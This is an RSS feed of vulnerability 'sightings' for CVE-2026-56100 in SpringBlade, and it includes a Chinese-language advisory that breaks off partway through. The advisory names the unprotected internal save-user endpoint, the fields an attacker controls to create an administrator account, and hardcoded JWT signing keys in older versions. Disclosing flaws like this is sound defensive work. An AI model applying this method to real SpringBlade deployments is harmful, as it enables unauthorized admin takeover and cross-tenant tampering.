<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent sightings.</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains only the most 10 recent sightings.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Mon, 31 Aug 2026 23:05:31 +0000</lastBuildDate>
    <item>
      <title>aee61b11-bdb1-431d-a0b4-e872c9026de5</title>
      <link>https://vulnerability.circl.lu/sighting/aee61b11-bdb1-431d-a0b4-e872c9026de5/export</link>
      <description>{"uuid": "aee61b11-bdb1-431d-a0b4-e872c9026de5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-56100", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3muaeabwec526", "content": "\ud83d\udfe0 CVE-2026-56100 - High (8.1)\n\nSpringBlade versions from 2.7.3 up to but not including 5.0.0 contain a privilege escalation vuln...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-56100/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-29T17:03:34.439308Z"}</description>
      <content:encoded>{"uuid": "aee61b11-bdb1-431d-a0b4-e872c9026de5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-56100", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3muaeabwec526", "content": "\ud83d\udfe0 CVE-2026-56100 - High (8.1)\n\nSpringBlade versions from 2.7.3 up to but not including 5.0.0 contain a privilege escalation vuln...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-56100/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-29T17:03:34.439308Z"}</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/sighting/aee61b11-bdb1-431d-a0b4-e872c9026de5/export</guid>
      <pubDate>Sat, 29 Aug 2026 17:03:34 +0000</pubDate>
    </item>
    <item>
      <title>069df2c5-f009-4be8-acf6-e2964a8c6e4a</title>
      <link>https://vulnerability.circl.lu/sighting/069df2c5-f009-4be8-acf6-e2964a8c6e4a/export</link>
      <description>{"uuid": "069df2c5-f009-4be8-acf6-e2964a8c6e4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-56100", "type": "seen", "source": "https://bsky.app/profile/malwareobserver.bsky.social/post/3mu7vxqhwb622", "content": "\ud83d\udc1b VULNERABILITIES CVE Notify: \ud83d\udea8 [CVE-2026-56100](https://gist.github.com/sud0why/e73405057dd7414a8c221ef17e0d0059#file-cve-2026-5...\nhttps://gist.github.com/sud0why/e73405057dd7414a8c221ef17e0d0059#file-cve-2026-56100-springblade-authbypass-en-md #PatchManagement #Vulnerability #CVE", "creation_timestamp": "2026-08-29T12:48:14.060991Z"}</description>
      <content:encoded>{"uuid": "069df2c5-f009-4be8-acf6-e2964a8c6e4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-56100", "type": "seen", "source": "https://bsky.app/profile/malwareobserver.bsky.social/post/3mu7vxqhwb622", "content": "\ud83d\udc1b VULNERABILITIES CVE Notify: \ud83d\udea8 [CVE-2026-56100](https://gist.github.com/sud0why/e73405057dd7414a8c221ef17e0d0059#file-cve-2026-5...\nhttps://gist.github.com/sud0why/e73405057dd7414a8c221ef17e0d0059#file-cve-2026-56100-springblade-authbypass-en-md #PatchManagement #Vulnerability #CVE", "creation_timestamp": "2026-08-29T12:48:14.060991Z"}</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/sighting/069df2c5-f009-4be8-acf6-e2964a8c6e4a/export</guid>
      <pubDate>Sat, 29 Aug 2026 12:48:14 +0000</pubDate>
    </item>
    <item>
      <title>bb30f1dc-59cf-4d79-a785-f82a431a58e8</title>
      <link>https://vulnerability.circl.lu/sighting/bb30f1dc-59cf-4d79-a785-f82a431a58e8/export</link>
      <description>{"uuid": "bb30f1dc-59cf-4d79-a785-f82a431a58e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-56100", "type": "seen", "source": "https://gist.github.com/sud0why/e73405057dd7414a8c221ef17e0d0059", "content": "# SpringBlade \u63d0\u6743\u6f0f\u6d1e\u62ab\u9732\uff08CVE-2026-56100 / Privilege Escalation\uff09\n\n&amp;gt; **\u4efb\u610f\u51ed\u8bc1\u7528\u6237 \u2192 \u7cfb\u7edf\u7ba1\u7406\u5458\u63d0\u6743**\uff08\u7ecf\u7531\u5185\u90e8 Feign REST \u63a7\u5236\u5668\u8d8a\u6743\u8bbf\u95ee\uff09\n&amp;gt;\n&amp;gt; **CVE-2026-56100** \uff5c \u7c7b\u578b\uff1a\u6743\u9650\u63d0\u5347\uff08Privilege Escalation\uff09\uff5c \u5371\u5bb3\u7b49\u7ea7\uff1a**\u9ad8\u5371** \uff5c CVSS 3.0\uff1a**8.1**\n&amp;gt;\n&amp;gt; CVSS Vector\uff1a`CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N`\n\n---\n\n## \u76ee\u5f55\n\n0. [TL;DR\uff08\u6458\u8981\uff09](#0-tldr\u6458\u8981)\n1. [\u6f0f\u6d1e\u57fa\u672c\u4fe1\u606f](#1-\u6f0f\u6d1e\u57fa\u672c\u4fe1\u606f)\n2. [\u5f71\u54cd\u7248\u672c](#2-\u5f71\u54cd\u7248\u672c)\n3. [\u6f0f\u6d1e\u5229\u7528\u524d\u7f6e\u6761\u4ef6](#3-\u6f0f\u6d1e\u5229\u7528\u524d\u7f6e\u6761\u4ef6)\n4. [\u6f0f\u6d1e\u5371\u5bb3](#4-\u6f0f\u6d1e\u5371\u5bb3)\n5. [\u6280\u672f\u5206\u6790 / \u6839\u672c\u539f\u56e0](#5-\u6280\u672f\u5206\u6790--\u6839\u672c\u539f\u56e0)\n6. [\u4ee3\u7801\u8bc1\u636e\uff08\u6309\u7248\u672c\u7cbe\u786e\u6807\u6ce8\uff09](#6-\u4ee3\u7801\u8bc1\u636e\u6309\u7248\u672c\u7cbe\u786e\u6807\u6ce8)\n7. [\u4fee\u590d\u60c5\u51b5](#7-\u4fee\u590d\u60c5\u51b5)\n8. [\u590d\u73b0\u6b65\u9aa4\u4e0e\u9a8c\u8bc1\uff08\u5b8c\u6574 PoC\uff09](#8-\u590d\u73b0\u6b65\u9aa4\u4e0e\u9a8c\u8bc1\u5b8c\u6574-poc)\n9. [\u73af\u5883\u642d\u5efa\uff08\u4ece\u96f6\u5230\u590d\u73b0\uff09](#9-\u73af\u5883\u642d\u5efa\u4ece\u96f6\u5230\u590d\u73b0)\n10. [\u4fee\u590d\u5efa\u8bae](#10-\u4fee\u590d\u5efa\u8bae)\n11. [\u53c2\u8003\u8d44\u6599](#11-\u53c2\u8003\u8d44\u6599)\n\n---\n\n## 0. TL;DR\uff08\u6458\u8981\uff09\n\nSpringBlade\uff08SpringBlade \u5fae\u670d\u52a1\u7248\uff0cJava \u540e\u7aef\uff09\u5728\u7f51\u5173 `blade-gateway` \u4e2d\u5f00\u542f\u4e86**\u57fa\u4e8e\u670d\u52a1\u53d1\u73b0\u7684\u52a8\u6001\u8def\u7531**\uff08discovery locator\uff09\uff0c\u5e76\u5728\u9274\u6743\u65f6**\u4ec5\u6821\u9a8c JWT \u662f\u5426\u80fd\u89e3\u6790\u6210\u529f\uff0c\u672a\u6821\u9a8c\u7528\u6237\u89d2\u8272 / \u670d\u52a1\u95f4\u8c03\u7528\u8eab\u4efd / \u5185\u90e8 Feign \u63a5\u53e3\u8bbf\u95ee\u7b56\u7565**\u3002\u540c\u65f6\uff0c\u4e0b\u6e38\u7528\u6237\u670d\u52a1\u6a21\u5757\u4e2d\uff0c\u672c\u5e94\u4ec5\u4f9b\u5fae\u670d\u52a1\u95f4 Feign \u8c03\u7528\u7684 `UserClient` \u5b9e\u73b0\u7c7b\u88ab `@RestController` \u6807\u8bb0\u66b4\u9732\u4e3a\u666e\u901a HTTP \u5165\u53e3\uff0c\u5176\u4e2d `saveUser` \u65b9\u6cd5**\u65e0\u4efb\u4f55 `@PreAuth` \u6743\u9650\u6821\u9a8c**\uff0c\u5e76\u76f4\u63a5\u8c03\u7528 `service.save(user)` \u5c06\u8bf7\u6c42\u4f53\u4e2d\u7684\u7528\u6237\u5bf9\u8c61 1:1 \u6301\u4e45\u5316\u3002\n\n**\u540e\u679c**\uff1a\u4efb\u4f55\u6301\u6709**\u4efb\u610f\u6709\u6548 JWT** \u7684\u4f4e\u6743\u9650\u7528\u6237\uff0c\u90fd\u53ef\u7ecf\u7f51\u5173\u6784\u9020 `POST /blade-user/user/save-user`\uff082.7.3 ~ 4.1.0\uff09\u6216 `POST /blade-system/user/save-user`\uff08v4.2.0 \u8d77\uff09\uff0c\u76f4\u63a5\u8c03\u7528\u4e0b\u6e38\u5185\u90e8\u7528\u6237\u521b\u5efa\u63a5\u53e3\uff0c**\u5728\u653b\u51fb\u8005\u5b8c\u5168\u53ef\u63a7 `tenantId` / `account` / `password` / `roleId` \u7b49\u5b57\u6bb5\u7684\u524d\u63d0\u4e0b\u521b\u5efa\u4e00\u4e2a\u8d85\u7ea7\u7ba1\u7406\u5458\uff08`administrator`\uff09\u8d26\u6237**\uff0c\u4e14**\u5bc6\u7801\u4ee5\u660e\u6587\u76f4\u63a5\u843d\u5e93**\uff08\u7ed5\u8fc7\u6b63\u5e38\u6d41\u7a0b\u4e2d\u7684 `DigestUtil.encrypt`\uff09\u3002\u653b\u51fb\u8005\u53ef\u501f\u6b64\u5b9e\u73b0\u666e\u901a\u7528\u6237 \u2192 \u7ba1\u7406\u5458\u63d0\u6743\u3001\u8de8\u79df\u6237\u6570\u636e\u6c61\u67d3\u4e0e\u957f\u671f\u540e\u95e8\u3002\n\n\u8be5\u6f0f\u6d1e\u5b58\u5728\u4e8e **2.7.3**\uff082020-09-14\uff0c`save-user` \u63a5\u53e3\u9996\u6b21\u5f15\u5165\uff09\u8d77\u76f4\u81f3 **v5.0.0 \u4e4b\u524d\u7684\u6240\u6709\u7248\u672c**\uff08\u6700\u540e\u53d7\u5f71\u54cd tag \u4e3a `v4.10.0`\uff0c2026-05-10\uff09\uff0c\u5e76\u5728 **`v5.0.0` \u5df2\u88ab\u5b98\u65b9\u4fee\u590d**\uff08`CVE-2026-56100`\uff09\u3002\n\n---\n\n## 1. \u6f0f\u6d1e\u57fa\u672c\u4fe1\u606f\n\n| \u5b57\u6bb5 | \u5185\u5bb9 |\n|---|---|\n| **\u6f0f\u6d1e\u540d\u79f0** | SpringBlade \u63d0\u6743\u6f0f\u6d1e\uff08Privilege Escalation\uff0c\u6e90\u4e8e\u670d\u52a1\u95f4\u9274\u6743\u7ed5\u8fc7\uff09 |\n| **CVE \u7f16\u53f7** | **CVE-2026-56100** |\n| **\u4ea7\u54c1 / \u5382\u5546** | SpringBlade\uff08\u5f00\u6e90\u5fae\u670d\u52a1\u5f00\u53d1\u5e73\u53f0\uff0c\u57fa\u4e8e Spring Boot / Spring Cloud Alibaba / MyBatis-Plus\uff09 |\n| **\u7ec4\u4ef6** | `blade-gateway`\uff08\u7f51\u5173\uff09+ `blade-system`/`blade-user`\uff08\u7528\u6237\u670d\u52a1\uff09 |\n| **\u53d7\u5f71\u54cd\u7248\u672c** | **2.7.3 &amp;lt; v5.0.0\uff08\u4fee\u590d\u7248\u672c\u4e4b\u524d\u7684\u6240\u6709\u7248\u672c\uff09**\uff08\u4f4e\u8fb9\u754c\u89c1 \u00a72 \u5206\u6790\uff1b2.7.3 / v3.0.0 / v3.1.0 / v4.10.0 \u5df2\u5b9e\u6d4b\u590d\u73b0\uff09 |\n| **\u9996\u4e2a\u4fee\u590d\u7248\u672c** | **v5.0.0** |\n| **\u98ce\u9669\u7b49\u7ea7** | \u9ad8\u5371 |\n| **CVSS 3.0** | 8.1 |\n| **CVSS Vector** | `CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` |\n| **\u653b\u51fb\u8def\u5f84** | \u7f51\u7edc\uff08\u8fdc\u7a0b\uff09 |\n| **\u5229\u7528\u590d\u6742\u5ea6** | \u4f4e |\n| **\u6240\u9700\u6743\u9650** | \u4f4e\u6743\u9650\uff08\u4efb\u610f\u5408\u6cd5 JWT\uff0c\u6216\u53ef\u83b7\u53d6\u7f51\u5173\u7b7e\u540d\u5bc6\u94a5\u540e\u4f2a\u9020\uff09 |\n| **\u7528\u6237\u4ea4\u4e92** | \u65e0 |\n| **\u5229\u7528\u540e\u5f71\u54cd** | \u5b8c\u5168\u63d0\u6743\u81f3\u7ba1\u7406\u5458\u3001\u8de8\u79df\u6237\u6570\u636e\u6c61\u67d3\u3001\u8d26\u53f7\u4f53\u7cfb\u7834\u574f\u3001\u660e\u6587\u5bc6\u7801\u843d\u5e93 |\n\n---\n\n## 2. \u5f71\u54cd\u7248\u672c\n\n### 2.1 \u5f71\u54cd\u7248\u672c\u8303\u56f4\n\n| \u7248\u672c | `saveUser` \u5199\u63a5\u53e3 | \u7f51\u5173\u8def\u5f84\u5265\u79bb\u673a\u5236 | \u662f\u5426\u53d7\u5f71\u54cd |\n|---|---|---|---|\n| v2.0.0 ~ v2.7.2 | **\u65e0** | locator \u9ed8\u8ba4 `RewritePath` | \u274c \u4e0d\u53d7\u5f71\u54cd\uff08\u65e0\u5199\u63a5\u53e3\uff09 |\n| **2.7.3**\uff082020-09-14\uff09 | \u6709\uff08\u9996\u6b21\u5f15\u5165\uff09 | locator \u9ed8\u8ba4 `RewritePath` | \u2705 **\u53d7\u5f71\u54cd\uff08\u9996\u4e2a\u53ef\u5229\u7528\u7248\u672c\uff0c\u5df2\u5b9e\u6d4b\uff09** |\n| 2.8.0 ~ v3.0.1 | \u6709 | locator \u9ed8\u8ba4 `RewritePath` | \u2705 **\u53d7\u5f71\u54cd**\uff08v3.0.0 \u5df2\u5b9e\u6d4b\uff09 |\n| v3.0.2 ~ v4.10.0 | \u6709 | locator \u9ed8\u8ba4 `RewritePath` + \u81ea\u7814 `RequestFilter`\uff08v3.0.2 \u5f15\u5165\uff09 | \u2705 **\u53d7\u5f71\u54cd**\uff08v3.1.0 / v4.10.0 \u5df2\u5b9e\u6d4b\uff09 |\n| **v5.0.0 / v5.0.1** | **\u5df2\u79fb\u9664** | \u6539 `InnerFilter`\uff08403 \u62e6\u622a\uff09 | \u2705 **\u5df2\u4fee\u590d\uff08\u5df2\u9759\u6001\u6838\u5b9e\uff09** |\n\n- **\u6700\u4f4e\u53d7\u5f71\u54cd\u7248\u672c\uff1a2.7.3** \u2014\u2014 `save-user` \u5199\u63a5\u53e3\u4e8e 2.7.3.RELEASE\uff08commit `503c853`\uff0c2020-09-14\uff09\u9996\u6b21\u5f15\u5165\uff1b2.7.2 \u53ca\u4e4b\u524d\u7684 `UserClient` \u4ec5\u6709 `userInfo` / `userAuthInfo` \u67e5\u8be2\u63a5\u53e3\u3002\n- **\u5173\u4e8e\"\u7f51\u5173\u8def\u5f84\u5265\u79bb\"**\uff1aSpring Cloud Gateway \u7684 discovery locator \u4f1a\u4e3a\u6bcf\u4e2a\u670d\u52a1\u81ea\u52a8\u751f\u6210\u9ed8\u8ba4\u8def\u7531\u8fc7\u6ee4\u5668 `RewritePath '/'+serviceId+'/(?.*)' \u2192 '/${remaining}'`\uff08Hoxton / 2020.0.x \u65f6\u4ee3 SC Gateway 2.2.x / 3.0.x \u7684 `GatewayDiscoveryClientAutoConfiguration` \u5747\u5185\u7f6e\u8be5\u9ed8\u8ba4\u503c\uff0c\u5df2\u5728 2.2.6 / 3.0.1 / 3.0.3 \u5b57\u8282\u7801\u4e2d\u9010\u4e00\u6838\u5b9e\uff0c2.2.5 \u7531 2.7.3 \u5b9e\u6d4b\u590d\u73b0\u95f4\u63a5\u8bc1\u5b9e\uff09\u3002\u56e0\u6b64\u5373\u4f7f\u7f51\u5173**\u6ca1\u6709** SpringBlade \u81ea\u7814\u7684 `RequestFilter`\uff08v3.0.2 \u624d\u5f15\u5165\uff09\uff0c\u5916\u90e8\u8bf7\u6c42 `/blade-user/user/save-user` \u4e5f\u4f1a\u88ab locator \u9ed8\u8ba4\u8fc7\u6ee4\u5668\u6539\u5199\u4e3a `/user/save-user` \u547d\u4e2d\u4e0b\u6e38\u5185\u90e8\u63a5\u53e3\u2014\u2014**v3.0.0\uff08\u65e0 `RequestFilter`\uff09\u5b9e\u6d4b\u590d\u73b0\u6210\u529f\u5373\u4e3a\u76f4\u63a5\u8bc1\u636e**\u3002`RequestFilter` \u5e76\u975e\u6f0f\u6d1e\u94fe\u8def\u7684\u5fc5\u8981\u73af\u8282\u3002\n- **\u6700\u9ad8\u53d7\u5f71\u54cd\u7248\u672c\uff1av4.10.0 ~ v5.0.0 \u4e4b\u524d**\uff08\u4ed3\u5e93\u5185\u6700\u540e\u53d7\u5f71\u54cd tag \u4e3a v4.10.0\uff0c2026-05-10\uff1bv4.10.0 \u2192 v5.0.0 \u4e4b\u95f4 `saveUser` \u59cb\u7ec8\u5b58\u5728\uff0c\u552f\u4e00\u7684\u79fb\u9664\u52a8\u4f5c\u53d1\u751f\u5728 v5.0.0 \u90a3\u68f5\u4fee\u590d\u63d0\u4ea4\uff0c\u7ecf `git log -S` \u6838\u5b9e\uff09\u3002\u5b98\u65b9\u5df2\u5728 **v5.0.0** \u79fb\u9664\u8be5\u5199\u63a5\u53e3\u5e76\u65b0\u589e\u5185\u90e8\u63a5\u53e3\u62e6\u622a\uff0c\u6545 v5.0.0 \u8d77\u4e0d\u590d\u73b0\u3002\n\n### 2.2 \u53d7\u5f71\u54cd\u6e90\u7801\u5bf9\u5e94\n\n| \u53d7\u5f71\u54cd\u7248\u672c | \u7528\u6237\u670d\u52a1\u6a21\u5757 | \u7f51\u5173\u8def\u7531\u524d\u7f00 | JWT \u7b7e\u540d\u5bc6\u94a5 |\n|---|---|---|---|\n| 2.7.3 | `blade-user` | `/blade-user/...` | \u786c\u7f16\u7801 `\"Blade\"`\uff08\u89c1 \u00a76.4\uff09 |\n| 2.8.0 ~ v3.5.0 | `blade-user` | `/blade-user/...` | \u786c\u7f16\u7801 `\"bladex...commercialproject\"`\uff08\u89c1 \u00a76.4\uff09 |\n| v3.6.0 ~ 4.1.0 | `blade-user` | `/blade-user/...` | \u914d\u7f6e\u9879 `blade.token.sign-key`\uff08\u226532 \u4f4d\uff0c\u7f51\u5173\u542f\u52a8\u5f3a\u5236\uff09 |\n| v4.2.0 ~ v4.10.0 | `blade-system`\uff08`blade-user` \u6a21\u5757\u4e8e v4.2.0 \u5e76\u5165\uff09 | `/blade-system/...` | \u914d\u7f6e\u9879 `blade.token.sign-key` |\n\n---\n\n## 3. \u6f0f\u6d1e\u5229\u7528\u524d\u7f6e\u6761\u4ef6\n\n\u6ee1\u8db3\u4ee5\u4e0b\u6761\u4ef6\u7684\u90e8\u7f72\u5373\u5b58\u5728\u53ef\u5229\u7528\u98ce\u9669\uff1a\n\n1. \u76ee\u6807\u4e3a **SpringBlade \u5fae\u670d\u52a1\u7248**\uff0c\u5e76\u5bf9\u5916\u66b4\u9732\u4e86 `blade-gateway` \u7f51\u5173\u7ec4\u4ef6\uff08\u542b `blade-system`/`blade-user` \u6ce8\u518c\u5728\u540c\u4e00\u4e2a\u670d\u52a1\u53d1\u73b0\u4e2d\u5fc3\uff0c\u5982 Nacos\uff09\u3002\n2. \u7f51\u5173\u5f00\u542f\u4e86 **\u670d\u52a1\u53d1\u73b0\u52a8\u6001\u8def\u7531**\uff08`spring.cloud.gateway.server.webflux.discovery.locator.enabled=true`\uff0c\u4e3a\u9ed8\u8ba4/\u5e38\u89c1\u914d\u7f6e\uff09\u3002\n3. \u653b\u51fb\u8005\u6ee1\u8db3\u5176\u4e00\uff1a\n   - \u6301\u6709**\u4efb\u610f\u4e00\u4e2a\u7f51\u5173\u8ba4\u53ef\u7684\u6709\u6548 JWT**\uff08\u5373\u4f7f\u662f\u6700\u4f4e\u6743\u9650\u666e\u901a\u7528\u6237 token\uff09\uff1b**\u6216**\n   - \u83b7\u77e5\u7f51\u5173\u7684 **JWT \u7b7e\u540d\u5bc6\u94a5** \u540e\u81ea\u884c\u4f2a\u9020\u6709\u6548 JWT\uff082.7.3 ~ v3.5.0 \u5bc6\u94a5\u786c\u7f16\u7801\u5728\u516c\u5f00 JAR \u4e2d\u53ef\u76f4\u63a5\u63d0\u53d6\uff1bv3.6.0 \u8d77\u6539\u4e3a\u914d\u7f6e\u9879\uff0c\u89c1 \u00a76.4\uff09\u3002\n\n&amp;gt; \u5373\uff1a\u5229\u7528\u95e8\u69db\u6781\u4f4e\uff0c\u53ea\u9700\u6709\u4e00\u4e2a\u666e\u901a\u767b\u5f55\u8d26\u53f7\u5373\u53ef\u3002\n\n---\n\n## 4. \u6f0f\u6d1e\u5371\u5bb3\n\n\u653b\u51fb\u8005\u5229\u7528\u672c\u6f0f\u6d1e\u53ef\u4ee5\u76f4\u63a5\uff1a\n\n1. **\u5b8c\u5168\u8d8a\u6743\uff08Role/Data Privilege Escalation\uff09**\uff1a\u4f2a\u9020 `tenantId`\u3001`account`\u3001`password`\u3001`roleId`\u3001`deptId`\u3001`postId` \u7b49\u5b57\u6bb5\u6765\u521b\u5efa**\u5e26 `administrator` \u8d85\u7ea7\u7ba1\u7406\u5458\u89d2\u8272**\u7684\u8d26\u6237\uff0c\u5b9e\u73b0\u666e\u901a\u7528\u6237 \u2192 \u7cfb\u7edf\u7ba1\u7406\u5458\u63d0\u6743\u3002\n2. **\u65c1\u8def\u7ba1\u63a7\u9762\u6821\u9a8c**\uff1a\u7ed5\u8fc7 `UserController.submit`\uff08`@PreAuth(HAS_ROLE_ADMIN)`\uff09\u7684\u7ba1\u7406\u5458\u6743\u9650\u6821\u9a8c\u3002\n3. ****\u4e0d\u5f53\u5904\u7406**\uff1a\u76f4\u63a5\u8c03\u7528\u5e95\u5c42 `service.save`\uff0c**\u8df3\u8fc7\u6b63\u5e38\u6d41\u7a0b\u4e2d\u7684\u5bc6\u7801\u52a0\u5bc6\uff08`DigestUtil.encrypt`\uff09\u4e0e\u79df\u6237\u7ed1\u5b9a/\u8d26\u53f7\u552f\u4e00\u6027\u6821\u9a8c**\uff0c\u660e\u6587\u5bc6\u7801\u76f4\u63a5\u843d\u5e93\uff0c\u6210\u4e3a\u957f\u671f\u540e\u95e8\u3002\n4. **\u8de8\u79df\u6237\u7834\u574f**\uff1a\u53ef\u4efb\u610f\u6307\u5b9a `tenantId`\uff0c\u6c61\u67d3\u5176\u4ed6\u79df\u6237\u6570\u636e\u3001\u7834\u574f\u79df\u6237\u9694\u79bb\u8fb9\u754c\u3002\n5. **\u6536\u5c3e\u80fd\u529b**\uff1a\u6301\u4e45\u63a7\u5236\u6574\u4e2a\u7cfb\u7edf\u7684\u8d26\u53f7\u4f53\u7cfb\u3002\n\n\u5f71\u54cd\u8303\u56f4\u4e0e\u4e25\u91cd\u5ea6\uff1a\u7531\u4e8e SpringBlade \u5728\u5927\u91cf\u4f01\u4e1a\u540e\u53f0\u7ba1\u7406\u9879\u76ee\u4e2d\u5e7f\u6cdb\u4f7f\u7528\uff0c\u6b64\u6f0f\u6d1e\u4f1a\u4e25\u91cd\u7834\u574f\u8d26\u53f7\u4f53\u7cfb\u4e0e\u79df\u6237\u9694\u79bb\u8fb9\u754c\uff0c\u8bc4\u7ea7\u4e3a**\u9ad8\u5371\uff08High\uff09**\u3002\n\n---\n\n## 5. \u6280\u672f\u5206\u6790\uff08\u6839\u672c\u539f\u56e0\uff09\n\n\u6f0f\u6d1e\u7531**\u7f51\u5173\u7684\u8def\u7531\u91cd\u5199 + \u7c97\u7c92\u5ea6\u8ba4\u8bc1 + \u4e0b\u6e38\u5185\u90e8 Feign \u63a7\u5236\u5668\u66b4\u9732**\u4e09\u5904\u7f3a\u9677\u53e0\u52a0\u9020\u6210\uff1a\n\n1. **\u8def\u7531\u66b4\u9732\u4e0e\u6539\u5199**\uff1a`blade-gateway` \u5f00\u542f discovery locator\uff0c\u5916\u90e8\u8bf7\u6c42 `POST /blade-system/user/save-user`\uff08\u6216\u65e7\u7248\u672c\u7684 `/blade-user/user/save-user`\uff09\u4f1a\u88ab\u5265\u79bb\u7b2c\u4e00\u4e2a\u8def\u5f84\u6bb5\uff08\u670d\u52a1\u540d\uff09\uff0c\u6539\u5199\u4e3a `/user/save-user` \u5e76\u8f6c\u53d1\u81f3\u4e0b\u6e38\u7528\u6237\u670d\u52a1\u3002\u8def\u5f84\u5265\u79bb\u7531\u4e24\u5904\u673a\u5236\u4e4b\u4e00\u5b8c\u6210\uff1a**discovery locator \u81ea\u52a8\u751f\u6210\u7684\u9ed8\u8ba4 `RewritePath` \u8fc7\u6ee4\u5668**\uff08\u6240\u6709\u53d7\u5f71\u54cd\u7248\u672c\u5747\u5b58\u5728\uff09\uff0c\u4ee5\u53ca v3.0.2 \u8d77 SpringBlade \u81ea\u7814\u7684 `RequestFilter`\uff08`.skip(1)`\uff0c\u6548\u679c\u4e0e\u524d\u8005\u91cd\u590d\uff09\u3002\u56e0\u6b64\u8be5\u66b4\u9732\u9762\u81ea `save-user` \u63a5\u53e3\u8bde\u751f\u7684 2.7.3 \u8d77\u5373\u5b58\u5728\u3002\n2. **\u7f51\u5173\u9274\u6743\u4e0d\u8db3**\uff1a\u7f51\u5173 `AuthFilter` \u4ec5\u901a\u8fc7 `JwtUtil.parseJWT(token)` \u9a8c\u8bc1 Token \u80fd\u5426\u89e3\u6790\u6210\u529f\uff0c**\u6ca1\u6709\u6821\u9a8c\u7528\u6237\u89d2\u8272\u3001\u7ba1\u7406\u6743\u9650\u3001Feign \u5ba2\u6237\u7aef\u8eab\u4efd**\uff0c\u4e5f\u672a\u5bf9\u5185\u90e8\u63a5\u53e3\u8def\u5f84\u505a\u4efb\u4f55\u9ed1\u767d\u540d\u5355 / \u6765\u6e90\u6821\u9a8c\u3002\n3. **\u5185\u90e8\u670d\u52a1\u8fb9\u754c\u672a\u8bbe\u9632**\uff1a`blade-system` \u6a21\u5757\u4e2d\u7684 `UserClient` \u672c\u662f Feign \u5b9e\u73b0\u7c7b\uff0c\u4f46\u540c\u65f6\u88ab `@RestController` \u6807\u6ce8\u4e14\u5bf9\u5916\u66b4\u9732\u666e\u901a HTTP \u5165\u53e3\uff1b\u5176 `saveUser` \u65b9\u6cd5**\u65e0 `@PreAuth`**\uff0c\u76f4\u63a5\u8c03\u7528 `service.save(user)` \u6301\u4e45\u5316\u653b\u51fb\u8005\u53ef\u63a7\u7684\u7528\u6237\u5bf9\u8c61\u3002\n\n&amp;gt; \u6b63\u5e38\u7684\u5916\u90e8\u7ba1\u7406\u5458\u521b\u5efa\u7528\u6237\u8d70 `UserController.submit`\uff0c\u5176\u4e2d\u5305\u542b\u4e25\u683c\u7684 admin \u6743\u9650\u3001\u79df\u6237\u7ed1\u5b9a\u548c\u5bc6\u7801\u52a0\u5bc6\uff1b\u800c\u653b\u51fb\u8005\u7ecf\u7f51\u5173\u76f4\u8fbe**\u672a\u52a0\u4efb\u4f55\u9632\u7ebf**\u7684 `UserClient.saveUser`\uff0c\u8df3\u8fc7\u4e86\u5168\u90e8\u4e1a\u52a1\u5b89\u5168\u5c4f\u969c\uff0c\u6570\u636e\u76f4\u63a5\u5199\u5e93\u3002\n\n---\n\n## 6. \u4ee3\u7801\u8bc1\u636e\uff08\u6309\u7248\u672c\u7cbe\u786e\u6807\u6ce8\uff09\n\n&amp;gt; \u6e90\u7801\u4ed3\u5e93\uff1aGitee `https://gitee.com/smallc/SpringBlade.git`\uff08GitHub \u955c\u50cf `https://github.com/chillzhuang/SpringBlade.git`\uff09\n&amp;gt; \u53d7\u5f71\u54cd\u7248\u672c tag\uff08v4.10.0\uff09\uff1a`3002202ed38ca0eed0bbf1f69d33fd056ef6b515`\uff082026-05-10\uff09\n\n### 6.1 \u7f51\u5173\uff1a\u8def\u5f84\u91cd\u5199\uff08`RequestFilter`\uff09\n\n\u6587\u4ef6\uff1a`blade-gateway/src/main/java/org/springblade/gateway/filter/RequestFilter.java`\uff08**v3.0.2 \u5f15\u5165\uff0cv3.1.0\u3001v4.10.0 \u5747\u5b58\u5728\uff1b2.7.3 ~ v3.0.1 \u65e0\u6b64\u6587\u4ef6\uff0c\u4f46 locator \u9ed8\u8ba4 `RewritePath` \u8fc7\u6ee4\u5668\u5b8c\u6210\u7b49\u6548\u5265\u79bb\uff0c\u89c1 \u00a72.1**\uff09\n\n```java\nString rawPath = request.getURI().getRawPath();\nString newPath = \"/\" + Arrays.stream(StringUtils.tokenizeToStringArray(rawPath, \"/\"))\n    .skip(1L)                                              // [v4.10.0:32] \u53bb\u6389\u7b2c 1 \u4e2a\u8def\u5f84\uff08\u670d\u52a1\u540d\uff09\n    .collect(Collectors.joining(\"/\"));                     // [v3.1.0:32]\n```\n\n\u2192 \u5916\u90e8 `/blade-system/user/save-user` \u88ab\u6539\u5199\u4e3a\u4e0b\u6e38 `/user/save-user`\u3002\n\n### 6.2 \u7f51\u5173\uff1a\u9274\u6743\u4ec5\u9a8c 